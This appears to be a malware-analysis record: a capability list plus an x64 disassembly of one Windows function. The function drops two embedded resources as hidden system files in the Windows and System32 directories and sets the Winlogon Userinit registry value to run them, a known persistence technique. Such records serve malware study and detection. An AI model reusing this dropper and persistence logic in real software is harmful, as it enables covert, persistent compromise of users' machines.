Function at 0x140001340
Capabilities:
Extract resource via kernel32 functions
Get common file path
Persist via winlogon helper dll registry key
Set file attributes
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov r15, rcx
mov edx, 0x104
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.140001200
nop
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
sub rax, rdi
xor r13d, r13d
cmp rax, 0x16
jb 0x1400013e7
lea rax, [rdi + 0x16]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rcx, 7
cmova rbx, qword [rsp + 0x68]
lea rcx, [rbx + rdi*2]
mov r8d, 0x2c
lea rdx, [0x1400064c8]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x2c], r13w
jmp 0x140001406
mov qword [rsp + 0x20], 0x16
lea r9, [0x1400064c8]
mov edx, 0x16
lea rcx, [rsp + 0x68]
call fcn.140004340
lea r12, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova r12, qword [rsp + 0x68]
lea r8, [0x1400064f8]
mov edx, 0x65
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x78]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov edx, 6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [0x1400064f8]
mov edx, 0x72
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r15d, eax
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x48]
call fcn.140001200
nop
mov rdi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, rdx
sub rcx, rdi
cmp rcx, 0x16
jb 0x140001558
lea rcx, [rdi + 0x16]
mov qword [rsp + 0x58], rcx
lea rbx, [rsp + 0x48]
cmp rdx, 7
cmova rbx, qword [rsp + 0x48]
lea rcx, [rbx + rdi*2]
mov r8d, 0x2c
lea rdx, str.System32us
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x2c], r13w
jmp 0x140001577
mov qword [rsp + 0x20], 0x16
lea r9, str.System32us
mov edx, 0x16
lea rcx, [rsp + 0x48]
call fcn.140004340
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x74]
mov r8d, r15d
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov edx, 6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000165d
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rax, qword [rsp + 0x48]
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Userinit
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000165d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400016a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000169d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000169d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r13w
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x1400016fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140004520
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret